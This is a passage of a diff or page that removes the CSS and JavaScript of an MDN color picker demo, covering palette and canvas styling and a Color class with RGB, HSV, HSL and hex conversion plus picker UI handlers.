-#picker-samples #add-icon:before,
-#picker-samples #add-icon:after {
- content: "";
- position: absolute;
- background-color: #EEE;
- box-shadow: 0 0 1px 0 #EEE;
-}
-
-#picker-samples #add-icon:before {
- width: 70%;
- height: 16%;
- top: 42%;
- left: 15%;
-}
-
-#picker-samples #add-icon:after {
- width: 16%;
- height: 70%;
- top: 15%;
- left: 42%;
-}
-
-#picker-samples #add-icon:hover:before,
-#picker-samples #add-icon:hover:after {
- background-color: #DDD;
- box-shadow: 0 0 1px 0 #DDD;
-}
-
-/**
- * Controls
- */
-
-#controls {
- width: 110px;
- padding: 10px;
- float: right;
-}
-
-#controls #picker-switch {
- text-align: center;
- float: left;
-}
-
-#controls .icon {
- width: 48px;
- height: 48px;
- margin: 10px 0;
- background-repeat: no-repeat;
- background-position: center;
- border: 1px solid #DDD;
- display: table;
- float: left;
-}
-
-#controls .icon:hover {
- cursor: pointer;
-}
-
-#controls .picker-icon {
- background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
-}
-
-#controls #void-sample {
- margin-right: 10px;
- background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
- background-position: center left;
-}
-
-#controls #void-sample[data-active='true'] {
- border-color: #CCC;
- background-position: center right;
-}
-
-#controls .switch {
- width: 106px;
- padding: 1px;
- border: 1px solid #CCC;
- font-size: 14px;
- text-align: center;
- line-height: 24px;
- overflow: hidden;
- float: left;
-}
-
-#controls .switch:hover {
- cursor: pointer;
-}
-
-#controls .switch &gt; * {
- width: 50%;
- padding: 2px 0;
- background-color: #EEE;
- float: left;
-}
-
-#controls .switch [data-active='true'] {
- color: #FFF;
- background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
- background-color: #777;
-}
-
-/**
- * Trash Can
- */
-
-#delete {
- width: 100%;
- height: 94px;
- background-color: #DDD;
- background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
- background-repeat: repeat;
-
- text-align: center;
- color: #777;
-
- position: relative;
- float: right;
-}
-
-#delete #trash-can {
- width: 80%;
- height: 80%;
- border: 2px dashed #FFF;
- border-radius: 5px;
- background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
-
- position: absolute;
- top: 10%;
- left: 10%;
-
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-
- transition: all 0.2s;
-}
-
-#delete[drag-state='enter'] {
- background-color: #999;
-}
-
-/**
- * Color Theme
- */
-
-#color-theme {
- margin: 0 8px 0 0;
- border: 1px solid #EEE;
- display: inline-block;
- float: right;
-}
-
-#color-theme .box {
- width: 80px;
- height: 92px;
- float: left;
-}
-
-/**
- * Color info box
- */
-#color-info {
- width: 360px;
- float: left;
-}
-
-#color-info .title {
- width: 100%;
- padding: 15px;
- font-size: 18px;
- text-align: center;
- background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
- background-repeat:no-repeat;
- background-position: center left 30%;
-}
-
-#color-info .copy-container {
- position: absolute;
- top: -100%;
-}
-
-#color-info .property {
- min-width: 280px;
- height: 30px;
- margin: 10px 0;
- text-align: center;
- line-height: 30px;
-}
-
-#color-info .property &gt; * {
- float: left;
-}
-
-#color-info .property .type {
- width: 60px;
- height: 100%;
- padding: 0 16px 0 0;
- text-align: right;
-}
-
-#color-info .property .value {
- width: 200px;
- height: 100%;
- padding: 0 10px;
- font-family: "Segoe UI", Arial, Helvetica, sans-serif;
- font-size: 16px;
- color: #777;
- text-align: center;
- background-color: #FFF;
- border: none;
-}
-
-#color-info .property .value:hover {
- color: #37994A;
-}
-
-#color-info .property .value:hover + .copy {
- background-position: center right;
-}
-
-#color-info .property .copy {
- width: 24px;
- height: 100%;
- padding: 0 5px;
- background-color: #FFF;
- background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
- background-repeat: no-repeat;
- background-position: center left;
- border-left: 1px solid #EEE;
- text-align: right;
- float: left;
-}
-
-#color-info .property .copy:hover {
- background-position: center right;
-}
-
-
-/**
- * Color Palette
- */
-
-#palette {
- width: 1000px;
- padding: 10px 0;
- background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
- background-repeat: repeat;
- background-color: #EEE;
- color: #777;
-
- -moz-box-sizing: border-box;
- -webkit-box-sizing: border-box;
- box-sizing: border-box;
-}
-
-#color-palette {
- width: 640px;
- font-family: Arial, Helvetica, sans-serif;
- color: #777;
- float: left;
-}
-
-#color-palette .container {
- width: 100%;
- height: 50px;
- line-height: 50px;
- overflow: hidden;
- float: left;
- transition: all 0.5s;
-}
-
-#color-palette .container &gt; * {
- float: left;
-}
-
-#color-palette .title {
- width: 100px;
- padding: 0 10px;
- text-align: right;
- line-height: inherit;
-}
-
-#color-palette .palette {
- width: 456px;
- height: 38px;
- margin: 3px;
- padding: 3px;
- display: table;
- background-color: #FFF;
-}
-
-#color-palette .palette .sample {
- width: 30px;
- height: 30px;
- margin: 3px;
- position: relative;
- border: 1px solid #DDD;
- float: left;
- transition: all 0.2s;
-}
-
-#color-palette .palette .sample:hover {
- cursor: pointer;
- border-color: #BBB;
- transform: scale(1.15);
- border-radius: 3px;
-}
-
-#color-palette .controls {
-}
-
-#color-palette .controls &gt; * {
- float: left;
-}
-
-#color-palette .controls &gt; *:hover {
- cursor: pointer;
-}
-
-#color-palette .controls .lock {
- width: 24px;
- height: 24px;
- margin: 10px;
- padding: 3px;
- background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
- background-repeat: no-repeat;
- background-position: bottom right;
-}
-
-#color-palette .controls .lock:hover {
- /*background-image: url('images/unlocked-hover.png');*/
- background-position: bottom left;
-}
-
-#color-palette .controls .lock[locked-state='true'] {
- /*background-image: url('images/locked.png');*/
- background-position: top left ;
-}
-
-#color-palette .controls .lock[locked-state='true']:hover {
- /*background-image: url('images/lock-hover.png');*/
- background-position: top right;
-}
-
-/**
- * Canvas
- */
-
-#canvas {
- width: 100%;
- height: 300px;
- min-height: 250px;
- border-top: 1px solid #DDD;
- background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
- background-repeat: repeat;
- position: relative;
- float: left;
-}
-
-#canvas[data-tutorial='drop'] {
- text-align: center;
- font-size: 30px;
- color: #777;
-}
-
-#canvas[data-tutorial='drop']:before {
- content: "Drop colors here to compare";
- width: 40%;
- padding: 30px 9% 70px 11%;
-
- background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
- background-repeat: no-repeat;
- background-position: left 35px top 60%;
-
- text-align: right;
-
- border: 3px dashed rgb(221, 221, 221);
- border-radius: 15px;
-
- position: absolute;
- top: 50px;
- left: 20%;
-}
-
-#canvas[data-tutorial='drop']:after {
- content: "adjust, change or modify";
- width: 40%;
- font-size: 24px;
- position: absolute;
- top: 130px;
- left: 32%;
- z-index: 2;
-}
-
-#canvas [data-tutorial='dblclick'] {
- background-color: #999 !important;
-}
-
-#canvas [data-tutorial='dblclick']:before {
- content: "double click to activate";
- width: 80px;
- color: #FFF;
- position: absolute;
- top: 10%;
- left: 20%;
- z-index: 2;
-}
-
-#canvas .sample {
- width: 100px;
- height: 100px;
- min-width: 20px;
- min-height: 20px;
- position: absolute;
- border: 1px solid rgba(255, 255, 255, 0.3);
-}
-
-#canvas .sample:hover {
- cursor: move;
-}
-
-#canvas .sample[data-active='true']:after {
- content: "";
- position: absolute;
- background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
- width: 100%;
- height: 12px;
- top: -12px;
- z-index: 2;
-}
-
-#canvas .sample:hover &gt; * {
- cursor: pointer;
- display: block !important;
-}
-
-#canvas .sample .resize-handle {
- display: none;
-}
-
-#canvas .sample .pick {
- width: 10px;
- height: 10px;
- margin: 5px;
- background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
- position: absolute;
- top: 0;
- left: 0;
- display: none;
-}
-
-#canvas .sample .delete {
- width: 10px;
- height: 10px;
- margin: 5px;
- background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
- position: absolute;
- top: 0;
- right: 0;
- display: none;
-}
-
-
-/**
- * Canvas controls
- */
-
-#canvas .toggle-bg {
- width: 16px;
- height: 16px;
- margin: 5px;
- background: url("images/canvas-controls.png") center left no-repeat;
- position: absolute;
- top: 0;
- right: 0;
-}
-
-#canvas .toggle-bg:hover {
- cursor: pointer;
-}
-
-#canvas[data-bg='true'] {
- background: none;
-}
-
-#canvas[data-bg='true'] .toggle-bg {
- background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
-}
-
-#zindex {
- height: 20px;
- margin: 5px;
- font-size: 16px;
- position: absolute;
- opacity: 0;
- top: -10000px;
- left: 0;
- color: #777;
- float: left;
- transition: opacity 1s;
-}
-
-#zindex input {
- border: 1px solid #DDD;
- font-size: 16px;
- color: #777;
-}
-
-#zindex .ui-input-slider-info {
- width: 60px;
-}
-
-#zindex[data-active='true'] {
- top: 0;
- opacity: 1;
-}
-
-</pre>
-
-<h3 id="JavaScript_Content">JavaScript Content</h3>
-
-<pre class="brush: js">'use strict';
-
-var UIColorPicker = (function UIColorPicker() {
-
- function getElemById(id) {
- return document.getElementById(id);
- }
-
- var subscribers = [];
- var pickers = [];
-
- /**
- * RGBA Color class
- *
- * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
- * @param hue 0-360
- * @param saturation 0-100
- * @param value 0-100
- * @param lightness 0-100
- */
-
- function Color(color) {
-
- if(color instanceof Color === true) {
- this.copy(color);
- return;
- }
-
- this.r = 0;
- this.g = 0;
- this.b = 0;
- this.a = 1;
- this.hue = 0;
- this.saturation = 0;
- this.value = 0;
- this.lightness = 0;
- this.format = 'HSV';
- }
-
- function RGBColor(r, g, b) {
- var color = new Color();
- color.setRGBA(r, g, b, 1);
- return color;
- }
-
- function RGBAColor(r, g, b, a) {
- var color = new Color();
- color.setRGBA(r, g, b, a);
- return color;
- }
-
- function HSVColor(h, s, v) {
- var color = new Color();
- color.setHSV(h, s, v);
- return color;
- }
-
- function HSVAColor(h, s, v, a) {
- var color = new Color();
- color.setHSV(h, s, v);
- color.a = a;
- return color;
- }
-
- function HSLColor(h, s, l) {
- var color = new Color();
- color.setHSL(h, s, l);
- return color;
- }
-
- function HSLAColor(h, s, l, a) {
- var color = new Color();
- color.setHSL(h, s, l);
- color.a = a;
- return color;
- }
-
- Color.prototype.copy = function copy(obj) {
- if(obj instanceof Color !== true) {
- console.log('Typeof parameter not Color');
- return;
- }
-
- this.r = obj.r;
- this.g = obj.g;
- this.b = obj.b;
- this.a = obj.a;
- this.hue = obj.hue;
- this.saturation = obj.saturation;
- this.value = obj.value;
- this.format = '' + obj.format;
- this.lightness = obj.lightness;
- };
-
- Color.prototype.setFormat = function setFormat(format) {
- if (format === 'HSV')
- this.format = 'HSV';
- if (format === 'HSL')
- this.format = 'HSL';
- };
-
- /*========== Methods to set Color Properties ==========*/
-
- Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
- return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
- value &gt;= 0 &amp;&amp; value &lt;= 255);
- };
-
- Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
- if (this.isValidRGBValue(red) === false ||
- this.isValidRGBValue(green) === false ||
- this.isValidRGBValue(blue) === false)
- return;
-
- this.r = red | 0;
- this.g = green | 0;
- this.b = blue | 0;
-
- if (this.isValidRGBValue(alpha) === true)
- this.a = alpha | 0;
- };
-
- Color.prototype.setByName = function setByName(name, value) {
- if (name === 'r' || name === 'g' || name === 'b') {
- if(this.isValidRGBValue(value) === false)
- return;
-
- this[name] = value;
- this.updateHSX();
- }
- };
-
- Color.prototype.setHSV = function setHSV(hue, saturation, value) {
- this.hue = hue;
- this.saturation = saturation;
- this.value = value;
- this.HSVtoRGB();
- };
-
- Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
- this.hue = hue;
- this.saturation = saturation;
- this.lightness = lightness;
- this.HSLtoRGB();
- };
-
- Color.prototype.setHue = function setHue(value) {
- if (typeof(value) !== 'number' || isNaN(value) === true ||
- value &lt; 0 || value &gt; 359)
- return;
- this.hue = value;
- this.updateRGB();
- };
-
- Color.prototype.setSaturation = function setSaturation(value) {
- if (typeof(value) !== 'number' || isNaN(value) === true ||
- value &lt; 0 || value &gt; 100)
- return;
- this.saturation = value;
- this.updateRGB();
- };
-
- Color.prototype.setValue = function setValue(value) {
- if (typeof(value) !== 'number' || isNaN(value) === true ||
- value &lt; 0 || value &gt; 100)
- return;
- this.value = value;
- this.HSVtoRGB();
- };
-
- Color.prototype.setLightness = function setLightness(value) {
- if (typeof(value) !== 'number' || isNaN(value) === true ||
- value &lt; 0 || value &gt; 100)
- return;
- this.lightness = value;
- this.HSLtoRGB();
- };
-
- Color.prototype.setHexa = function setHexa(value) {
- var valid = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
-
- if (valid !== true)
- return;
-
- if (value[0] === '#')
- value = value.slice(1, value.length);
-
- if (value.length === 3)
- value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
-
- this.r = parseInt(value.substr(0, 2), 16);
- this.g = parseInt(value.substr(2, 2), 16);
- this.b = parseInt(value.substr(4, 2), 16);
-
- this.alpha = 1;
- this.RGBtoHSV();
- };
-
- /*========== Conversion Methods ==========*/
-
- Color.prototype.convertToHSL = function convertToHSL() {
- if (this.format === 'HSL')
- return;
-
- this.setFormat('HSL');
- this.RGBtoHSL();
- };
-
- Color.prototype.convertToHSV = function convertToHSV() {
- if (this.format === 'HSV')
- return;
-
- this.setFormat('HSV');
- this.RGBtoHSV();
- };
-
- /*========== Update Methods ==========*/
-
- Color.prototype.updateRGB = function updateRGB() {
- if (this.format === 'HSV') {
- this.HSVtoRGB();
- return;
- }
-
- if (this.format === 'HSL') {
- this.HSLtoRGB();
- return;
- }
- };
-
- Color.prototype.updateHSX = function updateHSX() {
- if (this.format === 'HSV') {
- this.RGBtoHSV();
- return;
- }
-
- if (this.format === 'HSL') {
- this.RGBtoHSL();
- return;
- }
- };
-
- Color.prototype.HSVtoRGB = function HSVtoRGB() {
- var sat = this.saturation / 100;
- var value = this.value / 100;
- var C = sat * value;
- var H = this.hue / 60;
- var X = C * (1 - Math.abs(H % 2 - 1));
- var m = value - C;
- var precision = 255;
-
- C = (C + m) * precision | 0;
- X = (X + m) * precision | 0;
- m = m * precision | 0;
-
- if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
- if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
- if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
- if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
- if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
- if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
- };
-
- Color.prototype.HSLtoRGB = function HSLtoRGB() {
- var sat = this.saturation / 100;
- var light = this.lightness / 100;
- var C = sat * (1 - Math.abs(2 * light - 1));
- var H = this.hue / 60;
- var X = C * (1 - Math.abs(H % 2 - 1));
- var m = light - C/2;
- var precision = 255;
-
- C = (C + m) * precision | 0;
- X = (X + m) * precision | 0;
- m = m * precision | 0;
-
- if (H &gt;= 0 &amp;&amp; H &lt; 1) { this.setRGBA(C, X, m); return; }
- if (H &gt;= 1 &amp;&amp; H &lt; 2) { this.setRGBA(X, C, m); return; }
- if (H &gt;= 2 &amp;&amp; H &lt; 3) { this.setRGBA(m, C, X); return; }
- if (H &gt;= 3 &amp;&amp; H &lt; 4) { this.setRGBA(m, X, C); return; }
- if (H &gt;= 4 &amp;&amp; H &lt; 5) { this.setRGBA(X, m, C); return; }
- if (H &gt;= 5 &amp;&amp; H &lt; 6) { this.setRGBA(C, m, X); return; }
- };
-
- Color.prototype.RGBtoHSV = function RGBtoHSV() {
- var red = this.r / 255;
- var green = this.g / 255;
- var blue = this.b / 255;
-
- var cmax = Math.max(red, green, blue);
- var cmin = Math.min(red, green, blue);
- var delta = cmax - cmin;
- var hue = 0;
- var saturation = 0;
-
- if (delta) {
- if (cmax === red ) { hue = ((green - blue) / delta); }
- if (cmax === green ) { hue = 2 + (blue - red) / delta; }
- if (cmax === blue ) { hue = 4 + (red - green) / delta; }
- if (cmax) saturation = delta / cmax;
- }
-
- this.hue = 60 * hue | 0;
- if (this.hue &lt; 0) this.hue += 360;
- this.saturation = (saturation * 100) | 0;
- this.value = (cmax * 100) | 0;
- };
-
- Color.prototype.RGBtoHSL = function RGBtoHSL() {
- var red = this.r / 255;
- var green = this.g / 255;
- var blue = this.b / 255;
-
- var cmax = Math.max(red, green, blue);
- var cmin = Math.min(red, green, blue);
- var delta = cmax - cmin;
- var hue = 0;
- var saturation = 0;
- var lightness = (cmax + cmin) / 2;
- var X = (1 - Math.abs(2 * lightness - 1));
-
- if (delta) {
- if (cmax === red ) { hue = ((green - blue) / delta); }
- if (cmax === green ) { hue = 2 + (blue - red) / delta; }
- if (cmax === blue ) { hue = 4 + (red - green) / delta; }
- if (cmax) saturation = delta / X;
- }
-
- this.hue = 60 * hue | 0;
- if (this.hue &lt; 0) this.hue += 360;
- this.saturation = (saturation * 100) | 0;
- this.lightness = (lightness * 100) | 0;
- };
-
- /*========== Get Methods ==========*/
-
- Color.prototype.getHexa = function getHexa() {
- var r = this.r.toString(16);
- var g = this.g.toString(16);
- var b = this.b.toString(16);
- if (this.r &lt; 16) r = '0' + r;
- if (this.g &lt; 16) g = '0' + g;
- if (this.b &lt; 16) b = '0' + b;
- var value = '#' + r + g + b;
- return value.toUpperCase();
- };
-
- Color.prototype.getRGBA = function getRGBA() {
-
- var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
- var a = '';
- var v = '';
- var x = parseFloat(this.a);
- if (x !== 1) {
- a = 'a';
- v = ', ' + x;
- }
-
- var value = 'rgb' + a + rgb + v + ')';
- return value;
- };
-
- Color.prototype.getHSLA = function getHSLA() {
- if (this.format === 'HSV') {
- var color = new Color(this);
- color.setFormat('HSL');
- color.updateHSX();
- return color.getHSLA();
- }
-
- var a = '';
- var v = '';
- var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
- var x = parseFloat(this.a);
- if (x !== 1) {
- a = 'a';
- v = ', ' + x;
- }
-
- var value = 'hsl' + a + hsl + v + ')';
- return value;
- };
-
- Color.prototype.getColor = function getColor() {
- if (this.a | 0 === 1)
- return this.getHexa();
- return this.getRGBA();
- };
-
- /*=======================================================================*/
- /*=======================================================================*/
-
- /*========== Capture Mouse Movement ==========*/
-
- var setMouseTracking = function setMouseTracking(elem, callback) {
- elem.addEventListener('mousedown', function(e) {
- callback(e);
- document.addEventListener('mousemove', callback);
- });
-
- document.addEventListener('mouseup', function(e) {
- document.removeEventListener('mousemove', callback);
- });
- };
-
- /*====================*/
- // Color Picker Class
- /*====================*/
-
- function ColorPicker(node) {
- this.color = new Color();
- this.node = node;
- this.subscribers = [];
-
- var type = this.node.getAttribute('data-mode');
- var topic = this.node.getAttribute('data-topic');
-
- this.topic = topic;
- this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
- this.color.setFormat(this.picker_mode);
-
- this.createPickingArea();
- this.createHueArea();
-
- this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
- this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
- this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
- this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
-
- this.createAlphaArea();
-
- this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
- this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
- this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
-
- this.createPreviewBox();
- this.createChangeModeButton();
-
- this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
- this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
-
- this.setColor(this.color);
- pickers[topic] = this;
- }
-
- /*************************************************************************/
- // Function for generating the color-picker
- /*************************************************************************/
-
- ColorPicker.prototype.createPickingArea = function createPickingArea() {
- var area = document.createElement('div');
- var picker = document.createElement('div');
-
- area.className = 'picking-area';
- picker.className = 'picker';
-
- this.picking_area = area;
- this.color_picker = picker;
- setMouseTracking(area, this.updateColor.bind(this));
-
- area.appendChild(picker);
- this.node.appendChild(area);
- };
-
- ColorPicker.prototype.createHueArea = function createHueArea() {
- var area = document.createElement('div');
- var picker = document.createElement('div');
-
- area.className = 'hue';
- picker.className ='slider-picker';
-
- this.hue_area = area;
- this.hue_picker = picker;
- setMouseTracking(area, this.updateHueSlider.bind(this));
-
- area.appendChild(picker);
- this.node.appendChild(area);
- };
-
- ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
- var area = document.createElement('div');
- var mask = document.createElement('div');
- var picker = document.createElement('div');
-
- area.className = 'alpha';
- mask.className = 'alpha-mask';
- picker.className = 'slider-picker';
-
- this.alpha_area = area;
- this.alpha_mask = mask;
- this.alpha_picker = picker;
- setMouseTracking(area, this.updateAlphaSlider.bind(this));
-
- area.appendChild(mask);
- mask.appendChild(picker);
- this.node.appendChild(area);
- };
-
- ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
- var preview_box = document.createElement('div');
- var preview_color = document.createElement('div');
-
- preview_box.className = 'preview';
- preview_color.className = 'preview-color';
-
- this.preview_color = preview_color;
-
- preview_box.appendChild(preview_color);
- this.node.appendChild(preview_box);
- };
-
- ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
- var wrapper = document.createElement('div');
- var input = document.createElement('input');
- var info = document.createElement('span');
-
- wrapper.className = 'input';
- wrapper.setAttribute('data-topic', topic);
- info.textContent = title;
- info.className = 'name';
- input.setAttribute('type', 'text');
-
- wrapper.appendChild(info);
- wrapper.appendChild(input);
- this.node.appendChild(wrapper);
-
- input.addEventListener('change', onChangeFunc);
- input.addEventListener('click', function() {
- this.select();
- });
-
- this.subscribe(topic, function(value) {
- input.value = value;
- });
- };
-
- ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
-
- var button = document.createElement('div');
- button.className = 'switch_mode';
- button.addEventListener('click', function() {
- if (this.picker_mode === 'HSV')
- this.setPickerMode('HSL');
- else
- this.setPickerMode('HSV');
-
- }.bind(this));
-
- this.node.appendChild(button);
- };
-
- /*************************************************************************/
- // Updates properties of UI elements
- /*************************************************************************/
-
- ColorPicker.prototype.updateColor = function updateColor(e) {
- var x = e.pageX - this.picking_area.offsetLeft;
- var y = e.pageY - this.picking_area.offsetTop;
- var picker_offset = 5;
-
- // width and height should be the same
- var size = this.picking_area.clientWidth;
-
- if (x &gt; size) x = size;
- if (y &gt; size) y = size;
- if (x &lt; 0) x = 0;
- if (y &lt; 0) y = 0;
-
- var value = 100 - (y * 100 / size) | 0;
- var saturation = x * 100 / size | 0;
-
- if (this.picker_mode === 'HSV')
- this.color.setHSV(this.color.hue, saturation, value);
- if (this.picker_mode === 'HSL')
- this.color.setHSL(this.color.hue, saturation, value);
-
- this.color_picker.style.left = x - picker_offset + 'px';
- this.color_picker.style.top = y - picker_offset + 'px';
-
- this.updateAlphaGradient();
- this.updatePreviewColor();
-
- this.notify('value', value);
- this.notify('lightness', value);
- this.notify('saturation', saturation);
-
- this.notify('red', this.color.r);
- this.notify('green', this.color.g);
- this.notify('blue', this.color.b);
- this.notify('hexa', this.color.getHexa());
-
- notify(this.topic, this.color);
- };
-
- ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
- var x = e.pageX - this.hue_area.offsetLeft;
- var width = this.hue_area.clientWidth;
-
- if (x &lt; 0) x = 0;
- if (x &gt; width) x = width;
-
- // TODO 360 =&gt; 359
- var hue = ((359 * x) / width) | 0;
- // if (hue === 360) hue = 359;
-
- this.updateSliderPosition(this.hue_picker, x);
- this.setHue(hue);
- };
-
- ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
- var x = e.pageX - this.alpha_area.offsetLeft;
- var width = this.alpha_area.clientWidth;
-
- if (x &lt; 0) x = 0;
- if (x &gt; width) x = width;
-
- this.color.a = (x / width).toFixed(2);
-
- this.updateSliderPosition(this.alpha_picker, x);
- this.updatePreviewColor();
-
- this.notify('alpha', this.color.a);
- notify(this.topic, this.color);
- };
-
- ColorPicker.prototype.setHue = function setHue(value) {
- this.color.setHue(value);
-
- this.updatePickerBackground();
- this.updateAlphaGradient();
- this.updatePreviewColor();
-
- this.notify('red', this.color.r);
- this.notify('green', this.color.g);
- this.notify('blue', this.color.b);
- this.notify('hexa', this.color.getHexa());
- this.notify('hue', this.color.hue);
-
- notify(this.topic, this.color);
- };
-
- // Updates when one of Saturation/Value/Lightness changes
- ColorPicker.prototype.updateSLV = function updateSLV() {
- this.updatePickerPosition();
- this.updateAlphaGradient();
- this.updatePreviewColor();
-
- this.notify('red', this.color.r);
- this.notify('green', this.color.g);
- this.notify('blue', this.color.b);
- this.notify('hexa', this.color.getHexa());
-
- notify(this.topic, this.color);
- };
-
- /*************************************************************************/
- // Update positions of various UI elements
- /*************************************************************************/
-
- ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
- var size = this.picking_area.clientWidth;
- var value = 0;
- var offset = 5;
-
- if (this.picker_mode === 'HSV')
- value = this.color.value;
- if (this.picker_mode === 'HSL')
- value = this.color.lightness;
-
- var x = (this.color.saturation * size / 100) | 0;
- var y = size - (value * size / 100) | 0;
-
- this.color_picker.style.left = x - offset + 'px';
- this.color_picker.style.top = y - offset + 'px';
- };
-
- ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
- elem.style.left = Math.max(pos - 3, -2) + 'px';
- };
-
- ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
- var size = this.hue_area.clientWidth;
- var offset = 1;
- var pos = (this.color.hue * size / 360 ) | 0;
- this.hue_picker.style.left = pos - offset + 'px';
- };
-
- ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
- var size = this.alpha_area.clientWidth;
- var offset = 1;
- var pos = (this.color.a * size) | 0;
- this.alpha_picker.style.left = pos - offset + 'px';
- };
-
- /*************************************************************************/
- // Update background colors
- /*************************************************************************/
-
- ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
- var nc = new Color(this.color);
- nc.setHSV(nc.hue, 100, 100);
- this.picking_area.style.backgroundColor = nc.getHexa();
- };
-
- ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
- this.alpha_mask.style.backgroundColor = this.color.getHexa();
- };
-
- ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
- this.preview_color.style.backgroundColor = this.color.getColor();
- };
-
- /*************************************************************************/
- // Update input elements
- /*************************************************************************/
-
- ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
- var value = parseInt(e.target.value);
- this.setHue(value);
- this.updateHuePicker();
- };
-
- ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
- var value = parseInt(e.target.value);
- this.color.setSaturation(value);
- e.target.value = this.color.saturation;
- this.updateSLV();
- };
-
- ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
- var value = parseInt(e.target.value);
- this.color.setValue(value);
- e.target.value = this.color.value;
- this.updateSLV();
- };
-
- ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
- var value = parseInt(e.target.value);
- this.color.setLightness(value);
- e.target.value = this.color.lightness;
- this.updateSLV();
- };
-
- ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
- var value = parseInt(e.target.value);
- this.color.setByName('r', value);
- e.target.value = this.color.r;
- this.setColor(this.color);
- };
-
- ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
- var value = parseInt(e.target.value);
- this.color.setByName('g', value);
- e.target.value = this.color.g;
- this.setColor(this.color);
- };
-
- ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
- var value = parseInt(e.target.value);
- this.color.setByName('b', value);
- e.target.value = this.color.b;
- this.setColor(this.color);
- };
-
- ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
- var value = parseFloat(e.target.value);
-
- if (typeof value === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
- value &gt;= 0 &amp;&amp; value &lt;= 1)
- this.color.a = value.toFixed(2);
-
- e.target.value = this.color.a;
- this.updateAlphaPicker();
- };
-
- ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
- var value = e.target.value;
- this.color.setHexa(value);
- this.setColor(this.color);
- };
-
- /*************************************************************************/
- // Internal Pub/Sub
- /*************************************************************************/
-
- ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
- this.subscribers[topic] = callback;
- };
-
- ColorPicker.prototype.notify = function notify(topic, value) {
- if (this.subscribers[topic])
- this.subscribers[topic](value);
- };
-
- /*************************************************************************/
- // Set Picker Properties
- /*************************************************************************/
-
- ColorPicker.prototype.setColor = function setColor(color) {
- if(color instanceof Color !== true) {
- console.log('Typeof parameter not Color');
- return;
- }
-
- if (color.format !== this.picker_mode) {
- color.setFormat(this.picker_mode);
- color.updateHSX();
- }
-
- this.color.copy(color);
- this.updateHuePicker();
- this.updatePickerPosition();
- this.updatePickerBackground();
- this.updateAlphaPicker();
- this.updateAlphaGradient();
- this.updatePreviewColor();
-
- this.notify('red', this.color.r);
- this.notify('green', this.color.g);
- this.notify('blue', this.color.b);
-
- this.notify('hue', this.color.hue);
- this.notify('saturation', this.color.saturation);
- this.notify('value', this.color.value);
- this.notify('lightness', this.color.lightness);
-
- this.notify('alpha', this.color.a);
- this.notify('hexa', this.color.getHexa());
- notify(this.topic, this.color);
- };
-
